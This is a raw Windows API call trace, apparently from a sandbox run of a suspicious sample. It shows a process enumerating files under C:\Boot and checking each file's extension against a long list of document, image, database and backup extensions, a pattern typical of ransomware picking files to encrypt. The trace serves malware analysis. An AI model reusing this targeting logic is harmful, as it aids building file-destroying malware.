	[0167.520] lstrcmpiW (lpString1=".pff", lpString2=".mui") returned 1
	[0167.521] lstrlenW (lpString=".pfm") returned 4
	[0167.521] lstrcmpiW (lpString1=".pfm", lpString2=".mui") returned 1
	[0167.521] lstrlenW (lpString=".pfx") returned 4
	[0167.521] lstrcmpiW (lpString1=".pfx", lpString2=".mui") returned 1
	[0167.521] lstrlenW (lpString=".pgm") returned 4
	[0167.521] lstrcmpiW (lpString1=".pgm", lpString2=".mui") returned 1
	[0167.521] lstrlenW (lpString=".php") returned 4
	[0167.521] lstrcmpiW (lpString1=".php", lpString2=".mui") returned 1
	[0167.521] lstrlenW (lpString=".php3") returned 5
	[0167.661] lstrcmpiW (lpString1=".php3", lpString2="e.mui") returned -1
	[0167.661] lstrlenW (lpString=".php4") returned 5
	[0167.661] lstrcmpiW (lpString1=".php4", lpString2="e.mui") returned -1
	[0167.661] lstrlenW (lpString=".php5") returned 5
	[0167.661] lstrcmpiW (lpString1=".php5", lpString2="e.mui") returned -1
	[0167.662] lstrlenW (lpString=".phtml") returned 6
	[0167.662] lstrcmpiW (lpString1=".phtml", lpString2="xe.mui") returned -1
	[0167.662] lstrlenW (lpString=".pict") returned 5
	[0167.662] lstrcmpiW (lpString1=".pict", lpString2="e.mui") returned -1
	[0167.662] lstrlenW (lpString=".pl") returned 3
	[0167.662] lstrcmpiW (lpString1=".pl", lpString2="mui") returned -1
	[0167.662] lstrlenW (lpString=".pls") returned 4
	[0167.662] lstrcmpiW (lpString1=".pls", lpString2=".mui") returned 1
	[0167.662] lstrlenW (lpString=".pm") returned 3
	[0167.662] lstrcmpiW (lpString1=".pm", lpString2="mui") returned -1
	[0167.662] lstrlenW (lpString=".png") returned 4
	[0167.662] lstrcmpiW (lpString1=".png", lpString2=".mui") returned 1
	[0167.662] lstrlenW (lpString=".pnm") returned 4
	[0167.662] lstrcmpiW (lpString1=".pnm", lpString2=".mui") returned 1
	[0167.662] lstrlenW (lpString=".pot") returned 4
	[0167.662] lstrcmpiW (lpString1=".pot", lpString2=".mui") returned 1
	[0167.662] lstrlenW (lpString=".potm") returned 5
	[0167.662] lstrcmpiW (lpString1=".potm", lpString2="e.mui") returned -1
	[0167.662] lstrlenW (lpString=".potx") returned 5
	[0167.662] lstrcmpiW (lpString1=".potx", lpString2="e.mui") returned -1
	[0167.662] lstrlenW (lpString=".ppa") returned 4
	[0167.662] lstrcmpiW (lpString1=".ppa", lpString2=".mui") returned 1
	[0167.662] lstrlenW (lpString=".ppam") returned 5
	[0167.662] lstrcmpiW (lpString1=".ppam", lpString2="e.mui") returned -1
	[0167.662] lstrlenW (lpString=".ppm") returned 4
	[0167.662] lstrcmpiW (lpString1=".ppm", lpString2=".mui") returned 1
	[0167.662] lstrlenW (lpString=".pps") returned 4
	[0167.662] lstrcmpiW (lpString1=".pps", lpString2=".mui") returned 1
	[0167.662] lstrlenW (lpString=".ppsm") returned 5
	[0167.663] lstrcmpiW (lpString1=".ppsm", lpString2="e.mui") returned -1
	[0167.663] lstrlenW (lpString=".ppt") returned 4
	[0167.663] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0167.663] lstrlenW (lpString=".pptm") returned 5
	[0167.663] lstrcmpiW (lpString1=".pptm", lpString2="e.mui") returned -1
	[0167.663] lstrlenW (lpString=".pptx") returned 5
	[0167.663] lstrcmpiW (lpString1=".pptx", lpString2="e.mui") returned -1
	[0167.663] lstrlenW (lpString=".prn") returned 4
	[0167.663] lstrcmpiW (lpString1=".prn", lpString2=".mui") returned 1
	[0167.663] lstrlenW (lpString=".ps") returned 3
	[0167.663] lstrcmpiW (lpString1=".ps", lpString2="mui") returned -1
	[0167.663] lstrlenW (lpString=".psb") returned 4
	[0167.663] lstrcmpiW (lpString1=".psb", lpString2=".mui") returned 1
	[0167.663] lstrlenW (lpString=".psd") returned 4
	[0167.663] lstrcmpiW (lpString1=".psd", lpString2=".mui") returned 1
	[0167.663] lstrlenW (lpString=".pst") returned 4
	[0167.663] lstrcmpiW (lpString1=".pst", lpString2=".mui") returned 1
	[0167.663] lstrlenW (lpString=".ptx") returned 4
	[0167.663] lstrcmpiW (lpString1=".ptx", lpString2=".mui") returned 1
	[0167.663] lstrlenW (lpString=".pub") returned 4
	[0167.663] lstrcmpiW (lpString1=".pub", lpString2=".mui") returned 1
	[0167.663] lstrlenW (lpString=".pwm") returned 4
	[0167.663] lstrcmpiW (lpString1=".pwm", lpString2=".mui") returned 1
	[0167.663] lstrlenW (lpString=".pxr") returned 4
	[0167.663] lstrcmpiW (lpString1=".pxr", lpString2=".mui") returned 1
	[0167.663] lstrlenW (lpString=".py") returned 3
	[0167.663] lstrcmpiW (lpString1=".py", lpString2="mui") returned -1
	[0167.663] lstrlenW (lpString=".qt") returned 3
	[0167.663] lstrcmpiW (lpString1=".qt", lpString2="mui") returned -1
	[0167.663] lstrlenW (lpString=".r3d") returned 4
	[0167.663] lstrcmpiW (lpString1=".r3d", lpString2=".mui") returned 1
	[0167.663] lstrlenW (lpString=".raf") returned 4
	[0167.663] lstrcmpiW (lpString1=".raf", lpString2=".mui") returned 1
	[0167.664] lstrlenW (lpString=".rar") returned 4
	[0167.664] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0167.664] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13560, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0167.664] FindClose (in: hFindFile=0x6aba58 | out: hFindFile=0x6aba58) returned 1
	[0167.664] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4434fd8 | out: hHeap=0x610000) returned 1
	[0167.664] FindNextFileW (in: hFindFile=0x6abd98, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010bc12, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ade2b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="fr-FR", cAlternateFileName="")) returned 1
	[0167.664] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x4434fd8
	[0167.664] lstrlenW (lpString="C:\\Boot\\fr-FR") returned 13
	[0167.664] FindFirstFileW (in: lpFileName="C:\\Boot\\fr-FR\\*", lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010bc12, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ade2b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6aba58
	[0167.664] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010bc12, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ade2b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0167.664] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2096e751, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13558, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0167.664] lstrlenW (lpString="bootmgr.exe.mui") returned 15
	[0167.664] lstrlenW (lpString=".1cd") returned 4
	[0167.664] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0167.664] lstrlenW (lpString=".3ds") returned 4
	[0167.664] lstrcmpiW (lpString1=".3ds", lpString2=".mui") returned -1
	[0167.664] lstrlenW (lpString=".3fr") returned 4
	[0167.665] lstrcmpiW (lpString1=".3fr", lpString2=".mui") returned -1
	[0167.665] lstrlenW (lpString=".3g2") returned 4
	[0167.665] lstrcmpiW (lpString1=".3g2", lpString2=".mui") returned -1
	[0167.665] lstrlenW (lpString=".3gp") returned 4
	[0167.665] lstrcmpiW (lpString1=".3gp", lpString2=".mui") returned -1
	[0167.665] lstrlenW (lpString=".7z") returned 3
	[0167.665] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0167.665] lstrlenW (lpString=".accda") returned 6
	[0167.665] lstrcmpiW (lpString1=".accda", lpString2="xe.mui") returned -1
	[0167.665] lstrlenW (lpString=".accdb") returned 6
	[0167.665] lstrcmpiW (lpString1=".accdb", lpString2="xe.mui") returned -1
	[0167.665] lstrlenW (lpString=".accdc") returned 6
	[0167.665] lstrcmpiW (lpString1=".accdc", lpString2="xe.mui") returned -1
	[0167.665] lstrlenW (lpString=".accde") returned 6
	[0167.665] lstrcmpiW (lpString1=".accde", lpString2="xe.mui") returned -1
	[0167.665] lstrlenW (lpString=".accdt") returned 6
	[0167.665] lstrcmpiW (lpString1=".accdt", lpString2="xe.mui") returned -1
	[0167.665] lstrlenW (lpString=".accdw") returned 6
	[0167.665] lstrcmpiW (lpString1=".accdw", lpString2="xe.mui") returned -1
	[0167.665] lstrlenW (lpString=".adb") returned 4
	[0167.665] lstrcmpiW (lpString1=".adb", lpString2=".mui") returned -1
	[0167.665] lstrlenW (lpString=".adp") returned 4
	[0167.665] lstrcmpiW (lpString1=".adp", lpString2=".mui") returned -1
	[0167.665] lstrlenW (lpString=".ai") returned 3
	[0167.665] lstrcmpiW (lpString1=".ai", lpString2="mui") returned -1
	[0167.665] lstrlenW (lpString=".ai3") returned 4
	[0167.665] lstrcmpiW (lpString1=".ai3", lpString2=".mui") returned -1
	[0167.665] lstrlenW (lpString=".ai4") returned 4
	[0167.665] lstrcmpiW (lpString1=".ai4", lpString2=".mui") returned -1
	[0167.665] lstrlenW (lpString=".ai5") returned 4
	[0167.665] lstrcmpiW (lpString1=".ai5", lpString2=".mui") returned -1
	[0167.665] lstrlenW (lpString=".ai6") returned 4
	[0167.665] lstrcmpiW (lpString1=".ai6", lpString2=".mui") returned -1
	[0167.666] lstrlenW (lpString=".ai7") returned 4
	[0167.666] lstrcmpiW (lpString1=".ai7", lpString2=".mui") returned -1
	[0167.666] lstrlenW (lpString=".ai8") returned 4
	[0167.666] lstrcmpiW (lpString1=".ai8", lpString2=".mui") returned -1
	[0167.666] lstrlenW (lpString=".anim") returned 5
	[0167.666] lstrcmpiW (lpString1=".anim", lpString2="e.mui") returned -1
	[0167.666] lstrlenW (lpString=".arw") returned 4
	[0167.666] lstrcmpiW (lpString1=".arw", lpString2=".mui") returned -1
	[0167.666] lstrlenW (lpString=".as") returned 3
	[0167.666] lstrcmpiW (lpString1=".as", lpString2="mui") returned -1
	[0167.666] lstrlenW (lpString=".asa") returned 4
	[0167.666] lstrcmpiW (lpString1=".asa", lpString2=".mui") returned -1
	[0167.666] lstrlenW (lpString=".asc") returned 4
	[0167.666] lstrcmpiW (lpString1=".asc", lpString2=".mui") returned -1
	[0167.666] lstrlenW (lpString=".ascx") returned 5
	[0167.666] lstrcmpiW (lpString1=".ascx", lpString2="e.mui") returned -1
	[0167.666] lstrlenW (lpString=".asm") returned 4
	[0167.666] lstrcmpiW (lpString1=".asm", lpString2=".mui") returned -1
	[0167.666] lstrlenW (lpString=".asmx") returned 5
	[0167.666] lstrcmpiW (lpString1=".asmx", lpString2="e.mui") returned -1
	[0167.666] lstrlenW (lpString=".asp") returned 4
	[0167.666] lstrcmpiW (lpString1=".asp", lpString2=".mui") returned -1
	[0167.666] lstrlenW (lpString=".aspx") returned 5
	[0167.666] lstrcmpiW (lpString1=".aspx", lpString2="e.mui") returned -1
	[0167.666] lstrlenW (lpString=".asr") returned 4
	[0167.666] lstrcmpiW (lpString1=".asr", lpString2=".mui") returned -1
	[0167.666] lstrlenW (lpString=".asx") returned 4
	[0167.666] lstrcmpiW (lpString1=".asx", lpString2=".mui") returned -1
	[0167.666] lstrlenW (lpString=".avi") returned 4
	[0167.666] lstrcmpiW (lpString1=".avi", lpString2=".mui") returned -1
	[0167.666] lstrlenW (lpString=".avs") returned 4
	[0167.666] lstrcmpiW (lpString1=".avs", lpString2=".mui") returned -1
	[0167.666] lstrlenW (lpString=".backup") returned 7
	[0167.667] lstrcmpiW (lpString1=".backup", lpString2="exe.mui") returned -1
	[0167.667] lstrlenW (lpString=".bak") returned 4
	[0167.667] lstrcmpiW (lpString1=".bak", lpString2=".mui") returned -1
	[0167.667] lstrlenW (lpString=".bay") returned 4
	[0167.667] lstrcmpiW (lpString1=".bay", lpString2=".mui") returned -1
	[0167.667] lstrlenW (lpString=".bd") returned 3
	[0167.667] lstrcmpiW (lpString1=".bd", lpString2="mui") returned -1
	[0167.667] lstrlenW (lpString=".bin") returned 4
	[0167.667] lstrcmpiW (lpString1=".bin", lpString2=".mui") returned -1
	[0167.667] lstrlenW (lpString=".bmp") returned 4
	[0167.667] lstrcmpiW (lpString1=".bmp", lpString2=".mui") returned -1
	[0167.667] lstrlenW (lpString=".bz2") returned 4
	[0167.667] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0167.667] lstrlenW (lpString=".c") returned 2
	[0167.667] lstrcmpiW (lpString1=".c", lpString2="ui") returned -1
	[0167.667] lstrlenW (lpString=".cdr") returned 4
	[0167.667] lstrcmpiW (lpString1=".cdr", lpString2=".mui") returned -1
	[0167.667] lstrlenW (lpString=".cer") returned 4
	[0167.667] lstrcmpiW (lpString1=".cer", lpString2=".mui") returned -1
	[0167.667] lstrlenW (lpString=".cf") returned 3
	[0167.667] lstrcmpiW (lpString1=".cf", lpString2="mui") returned -1
	[0167.667] lstrlenW (lpString=".cfc") returned 4
	[0167.667] lstrcmpiW (lpString1=".cfc", lpString2=".mui") returned -1
	[0167.667] lstrlenW (lpString=".cfm") returned 4
	[0167.667] lstrcmpiW (lpString1=".cfm", lpString2=".mui") returned -1
	[0167.667] lstrlenW (lpString=".cfml") returned 5
	[0167.667] lstrcmpiW (lpString1=".cfml", lpString2="e.mui") returned -1
	[0167.667] lstrlenW (lpString=".cfu") returned 4
	[0167.667] lstrcmpiW (lpString1=".cfu", lpString2=".mui") returned -1
	[0167.667] lstrlenW (lpString=".chm") returned 4
	[0167.667] lstrcmpiW (lpString1=".chm", lpString2=".mui") returned -1
	[0167.667] lstrlenW (lpString=".cin") returned 4
	[0167.667] lstrcmpiW (lpString1=".cin", lpString2=".mui") returned -1
	[0167.668] lstrlenW (lpString=".class") returned 6
	[0167.668] lstrcmpiW (lpString1=".class", lpString2="xe.mui") returned -1
	[0167.668] lstrlenW (lpString=".clx") returned 4
	[0167.668] lstrcmpiW (lpString1=".clx", lpString2=".mui") returned -1
	[0167.668] lstrlenW (lpString=".config") returned 7
	[0167.668] lstrcmpiW (lpString1=".config", lpString2="exe.mui") returned -1
	[0167.668] lstrlenW (lpString=".cpp") returned 4
	[0167.668] lstrcmpiW (lpString1=".cpp", lpString2=".mui") returned -1
	[0167.668] lstrlenW (lpString=".cr2") returned 4
	[0167.668] lstrcmpiW (lpString1=".cr2", lpString2=".mui") returned -1
	[0167.668] lstrlenW (lpString=".crt") returned 4
	[0167.668] lstrcmpiW (lpString1=".crt", lpString2=".mui") returned -1
	[0167.668] lstrlenW (lpString=".crw") returned 4
	[0167.668] lstrcmpiW (lpString1=".crw", lpString2=".mui") returned -1
	[0167.668] lstrlenW (lpString=".cs") returned 3
	[0167.668] lstrcmpiW (lpString1=".cs", lpString2="mui") returned -1
	[0167.668] lstrlenW (lpString=".css") returned 4
	[0167.668] lstrcmpiW (lpString1=".css", lpString2=".mui") returned -1
	[0167.668] lstrlenW (lpString=".csv") returned 4
	[0167.668] lstrcmpiW (lpString1=".csv", lpString2=".mui") returned -1
	[0167.668] lstrlenW (lpString=".cub") returned 4
	[0167.668] lstrcmpiW (lpString1=".cub", lpString2=".mui") returned -1
	[0167.668] lstrlenW (lpString=".dae") returned 4
	[0167.668] lstrcmpiW (lpString1=".dae", lpString2=".mui") returned -1
	[0167.668] lstrlenW (lpString=".dat") returned 4
	[0167.668] lstrcmpiW (lpString1=".dat", lpString2=".mui") returned -1
	[0167.668] lstrlenW (lpString=".db") returned 3
	[0167.668] lstrcmpiW (lpString1=".db", lpString2="mui") returned -1
	[0167.668] lstrlenW (lpString=".dbf") returned 4
	[0167.668] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0167.668] lstrlenW (lpString=".dbx") returned 4
	[0167.668] lstrcmpiW (lpString1=".dbx", lpString2=".mui") returned -1
	[0167.668] lstrlenW (lpString=".dc3") returned 4
	[0167.669] lstrcmpiW (lpString1=".dc3", lpString2=".mui") returned -1
	[0167.669] lstrlenW (lpString=".dcm") returned 4
	[0167.669] lstrcmpiW (lpString1=".dcm", lpString2=".mui") returned -1
	[0167.669] lstrlenW (lpString=".dcr") returned 4
	[0167.669] lstrcmpiW (lpString1=".dcr", lpString2=".mui") returned -1
	[0167.669] lstrlenW (lpString=".der") returned 4
	[0167.669] lstrcmpiW (lpString1=".der", lpString2=".mui") returned -1
	[0167.669] lstrlenW (lpString=".dib") returned 4
	[0167.669] lstrcmpiW (lpString1=".dib", lpString2=".mui") returned -1
	[0167.669] lstrlenW (lpString=".dic") returned 4
	[0167.669] lstrcmpiW (lpString1=".dic", lpString2=".mui") returned -1
	[0167.669] lstrlenW (lpString=".dif") returned 4
	[0167.669] lstrcmpiW (lpString1=".dif", lpString2=".mui") returned -1
	[0167.669] lstrlenW (lpString=".divx") returned 5
	[0167.669] lstrcmpiW (lpString1=".divx", lpString2="e.mui") returned -1
	[0167.669] lstrlenW (lpString=".djvu") returned 5
	[0167.669] lstrcmpiW (lpString1=".djvu", lpString2="e.mui") returned -1
	[0167.669] lstrlenW (lpString=".dng") returned 4
	[0167.669] lstrcmpiW (lpString1=".dng", lpString2=".mui") returned -1
	[0167.669] lstrlenW (lpString=".doc") returned 4
	[0167.669] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0167.669] lstrlenW (lpString=".docm") returned 5
	[0167.669] lstrcmpiW (lpString1=".docm", lpString2="e.mui") returned -1
	[0167.669] lstrlenW (lpString=".docx") returned 5
	[0167.669] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0167.669] lstrlenW (lpString=".dot") returned 4
	[0167.669] lstrcmpiW (lpString1=".dot", lpString2=".mui") returned -1
	[0167.669] lstrlenW (lpString=".dotm") returned 5
	[0167.669] lstrcmpiW (lpString1=".dotm", lpString2="e.mui") returned -1
	[0167.669] lstrlenW (lpString=".dotx") returned 5
	[0167.669] lstrcmpiW (lpString1=".dotx", lpString2="e.mui") returned -1
	[0167.669] lstrlenW (lpString=".dpx") returned 4
	[0167.669] lstrcmpiW (lpString1=".dpx", lpString2=".mui") returned -1
	[0167.670] lstrlenW (lpString=".dqy") returned 4
	[0167.670] lstrcmpiW (lpString1=".dqy", lpString2=".mui") returned -1
	[0167.670] lstrlenW (lpString=".dsn") returned 4
	[0167.670] lstrcmpiW (lpString1=".dsn", lpString2=".mui") returned -1
	[0167.670] lstrlenW (lpString=".dt") returned 3
	[0167.670] lstrcmpiW (lpString1=".dt", lpString2="mui") returned -1
	[0167.670] lstrlenW (lpString=".dtd") returned 4
	[0167.670] lstrcmpiW (lpString1=".dtd", lpString2=".mui") returned -1
	[0167.670] lstrlenW (lpString=".dwg") returned 4
	[0167.670] lstrcmpiW (lpString1=".dwg", lpString2=".mui") returned -1
	[0167.670] lstrlenW (lpString=".dwt") returned 4
	[0167.670] lstrcmpiW (lpString1=".dwt", lpString2=".mui") returned -1
	[0167.670] lstrlenW (lpString=".dx") returned 3
	[0167.670] lstrcmpiW (lpString1=".dx", lpString2="mui") returned -1
	[0167.670] lstrlenW (lpString=".dxf") returned 4
	[0167.670] lstrcmpiW (lpString1=".dxf", lpString2=".mui") returned -1
	[0167.670] lstrlenW (lpString=".edml") returned 5
	[0167.670] lstrcmpiW (lpString1=".edml", lpString2="e.mui") returned -1
	[0167.670] lstrlenW (lpString=".efd") returned 4
	[0167.670] lstrcmpiW (lpString1=".efd", lpString2=".mui") returned -1
	[0167.670] lstrlenW (lpString=".elf") returned 4
	[0167.670] lstrcmpiW (lpString1=".elf", lpString2=".mui") returned -1
	[0167.670] lstrlenW (lpString=".emf") returned 4
	[0167.670] lstrcmpiW (lpString1=".emf", lpString2=".mui") returned -1
	[0167.670] lstrlenW (lpString=".emz") returned 4
	[0167.670] lstrcmpiW (lpString1=".emz", lpString2=".mui") returned -1
	[0167.670] lstrlenW (lpString=".epf") returned 4
	[0167.670] lstrcmpiW (lpString1=".epf", lpString2=".mui") returned -1
	[0167.670] lstrlenW (lpString=".eps") returned 4
	[0167.670] lstrcmpiW (lpString1=".eps", lpString2=".mui") returned -1
	[0167.670] lstrlenW (lpString=".epsf") returned 5
	[0167.671] lstrcmpiW (lpString1=".epsf", lpString2="e.mui") returned -1
	[0167.671] lstrlenW (lpString=".epsp") returned 5
	[0167.671] lstrcmpiW (lpString1=".epsp", lpString2="e.mui") returned -1
	[0167.671] lstrlenW (lpString=".erf") returned 4
	[0167.671] lstrcmpiW (lpString1=".erf", lpString2=".mui") returned -1
	[0167.671] lstrlenW (lpString=".exr") returned 4
	[0167.671] lstrcmpiW (lpString1=".exr", lpString2=".mui") returned -1
	[0167.671] lstrlenW (lpString=".f4v") returned 4
	[0167.671] lstrcmpiW (lpString1=".f4v", lpString2=".mui") returned -1
	[0167.671] lstrlenW (lpString=".fido") returned 5
	[0167.671] lstrcmpiW (lpString1=".fido", lpString2="e.mui") returned -1
	[0167.671] lstrlenW (lpString=".flm") returned 4
	[0167.671] lstrcmpiW (lpString1=".flm", lpString2=".mui") returned -1
	[0167.671] lstrlenW (lpString=".flv") returned 4
	[0167.671] lstrcmpiW (lpString1=".flv", lpString2=".mui") returned -1
	[0167.671] lstrlenW (lpString=".frm") returned 4
	[0167.671] lstrcmpiW (lpString1=".frm", lpString2=".mui") returned -1
	[0167.671] lstrlenW (lpString=".fxg") returned 4
	[0167.671] lstrcmpiW (lpString1=".fxg", lpString2=".mui") returned -1
	[0167.671] lstrlenW (lpString=".geo") returned 4
	[0167.671] lstrcmpiW (lpString1=".geo", lpString2=".mui") returned -1
	[0167.671] lstrlenW (lpString=".gif") returned 4
	[0167.671] lstrcmpiW (lpString1=".gif", lpString2=".mui") returned -1
	[0167.671] lstrlenW (lpString=".grs") returned 4
	[0167.671] lstrcmpiW (lpString1=".grs", lpString2=".mui") returned -1
	[0167.671] lstrlenW (lpString=".gz") returned 3
	[0167.671] lstrcmpiW (lpString1=".gz", lpString2="mui") returned -1
	[0167.671] lstrlenW (lpString=".h") returned 2
	[0167.671] lstrcmpiW (lpString1=".h", lpString2="ui") returned -1
	[0167.671] lstrlenW (lpString=".hdr") returned 4
	[0167.672] lstrcmpiW (lpString1=".hdr", lpString2=".mui") returned -1
	[0167.672] lstrlenW (lpString=".hpp") returned 4
	[0167.672] lstrcmpiW (lpString1=".hpp", lpString2=".mui") returned -1
	[0167.672] lstrlenW (lpString=".hta") returned 4
	[0167.672] lstrcmpiW (lpString1=".hta", lpString2=".mui") returned -1
	[0167.672] lstrlenW (lpString=".htc") returned 4
	[0167.672] lstrcmpiW (lpString1=".htc", lpString2=".mui") returned -1
	[0167.672] lstrlenW (lpString=".htm") returned 4
	[0167.672] lstrcmpiW (lpString1=".htm", lpString2=".mui") returned -1
	[0167.672] lstrlenW (lpString=".html") returned 5
	[0167.672] lstrcmpiW (lpString1=".html", lpString2="e.mui") returned -1
	[0167.672] lstrlenW (lpString=".icb") returned 4
	[0167.672] lstrcmpiW (lpString1=".icb", lpString2=".mui") returned -1
	[0167.672] lstrlenW (lpString=".ics") returned 4
	[0167.672] lstrcmpiW (lpString1=".ics", lpString2=".mui") returned -1
	[0167.672] lstrlenW (lpString=".iff") returned 4
	[0167.672] lstrcmpiW (lpString1=".iff", lpString2=".mui") returned -1
	[0167.672] lstrlenW (lpString=".inc") returned 4
	[0167.672] lstrcmpiW (lpString1=".inc", lpString2=".mui") returned -1
	[0167.672] lstrlenW (lpString=".indd") returned 5
	[0167.672] lstrcmpiW (lpString1=".indd", lpString2="e.mui") returned -1
	[0167.672] lstrlenW (lpString=".ini") returned 4
	[0167.672] lstrcmpiW (lpString1=".ini", lpString2=".mui") returned -1
	[0167.672] lstrlenW (lpString=".iqy") returned 4
	[0167.672] lstrcmpiW (lpString1=".iqy", lpString2=".mui") returned -1
	[0167.672] lstrlenW (lpString=".j2c") returned 4
	[0167.672] lstrcmpiW (lpString1=".j2c", lpString2=".mui") returned -1
	[0167.672] lstrlenW (lpString=".j2k") returned 4
	[0167.672] lstrcmpiW (lpString1=".j2k", lpString2=".mui") returned -1
	[0167.672] lstrlenW (lpString=".java") returned 5
	[0167.672] lstrcmpiW (lpString1=".java", lpString2="e.mui") returned -1
	[0167.672] lstrlenW (lpString=".jp2") returned 4
	[0167.673] lstrcmpiW (lpString1=".jp2", lpString2=".mui") returned -1
	[0167.673] lstrlenW (lpString=".jpc") returned 4
	[0167.673] lstrcmpiW (lpString1=".jpc", lpString2=".mui") returned -1
	[0167.673] lstrlenW (lpString=".jpe") returned 4
	[0167.673] lstrcmpiW (lpString1=".jpe", lpString2=".mui") returned -1
	[0167.673] lstrlenW (lpString=".jpeg") returned 5
	[0167.673] lstrcmpiW (lpString1=".jpeg", lpString2="e.mui") returned -1
	[0167.673] lstrlenW (lpString=".jpf") returned 4
	[0167.673] lstrcmpiW (lpString1=".jpf", lpString2=".mui") returned -1
	[0167.673] lstrlenW (lpString=".jpg") returned 4
	[0167.673] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0167.673] lstrlenW (lpString=".jpx") returned 4
	[0167.673] lstrcmpiW (lpString1=".jpx", lpString2=".mui") returned -1
	[0167.673] lstrlenW (lpString=".js") returned 3
	[0167.673] lstrcmpiW (lpString1=".js", lpString2="mui") returned -1
	[0167.673] lstrlenW (lpString=".jsf") returned 4
	[0167.673] lstrcmpiW (lpString1=".jsf", lpString2=".mui") returned -1
	[0167.673] lstrlenW (lpString=".json") returned 5
	[0167.673] lstrcmpiW (lpString1=".json", lpString2="e.mui") returned -1
	[0167.673] lstrlenW (lpString=".jsp") returned 4
	[0167.673] lstrcmpiW (lpString1=".jsp", lpString2=".mui") returned -1
	[0167.673] lstrlenW (lpString=".kdc") returned 4
	[0167.673] lstrcmpiW (lpString1=".kdc", lpString2=".mui") returned -1
	[0167.673] lstrlenW (lpString=".kmz") returned 4
	[0167.673] lstrcmpiW (lpString1=".kmz", lpString2=".mui") returned -1
	[0167.673] lstrlenW (lpString=".kwm") returned 4
	[0167.673] lstrcmpiW (lpString1=".kwm", lpString2=".mui") returned -1
	[0167.673] lstrlenW (lpString=".lasso") returned 6
	[0167.673] lstrcmpiW (lpString1=".lasso", lpString2="xe.mui") returned -1
	[0167.673] lstrlenW (lpString=".lbi") returned 4
	[0167.674] lstrcmpiW (lpString1=".lbi", lpString2=".mui") returned -1
	[0167.674] lstrlenW (lpString=".lgf") returned 4
	[0167.674] lstrcmpiW (lpString1=".lgf", lpString2=".mui") returned -1
	[0167.674] lstrlenW (lpString=".lgp") returned 4
	[0167.674] lstrcmpiW (lpString1=".lgp", lpString2=".mui") returned -1
	[0167.674] lstrlenW (lpString=".log") returned 4
	[0167.674] lstrcmpiW (lpString1=".log", lpString2=".mui") returned -1
	[0167.674] lstrlenW (lpString=".m1v") returned 4
	[0167.674] lstrcmpiW (lpString1=".m1v", lpString2=".mui") returned -1
	[0167.674] lstrlenW (lpString=".m4a") returned 4
	[0167.674] lstrcmpiW (lpString1=".m4a", lpString2=".mui") returned -1
	[0167.674] lstrlenW (lpString=".m4v") returned 4
	[0167.674] lstrcmpiW (lpString1=".m4v", lpString2=".mui") returned -1
	[0167.674] lstrlenW (lpString=".max") returned 4
	[0167.674] lstrcmpiW (lpString1=".max", lpString2=".mui") returned -1
	[0167.674] lstrlenW (lpString=".md") returned 3
	[0167.674] lstrcmpiW (lpString1=".md", lpString2="mui") returned -1
	[0167.674] lstrlenW (lpString=".mda") returned 4
	[0167.674] lstrcmpiW (lpString1=".mda", lpString2=".mui") returned -1
	[0167.674] lstrlenW (lpString=".mdb") returned 4
	[0167.674] lstrcmpiW (lpString1=".mdb", lpString2=".mui") returned -1
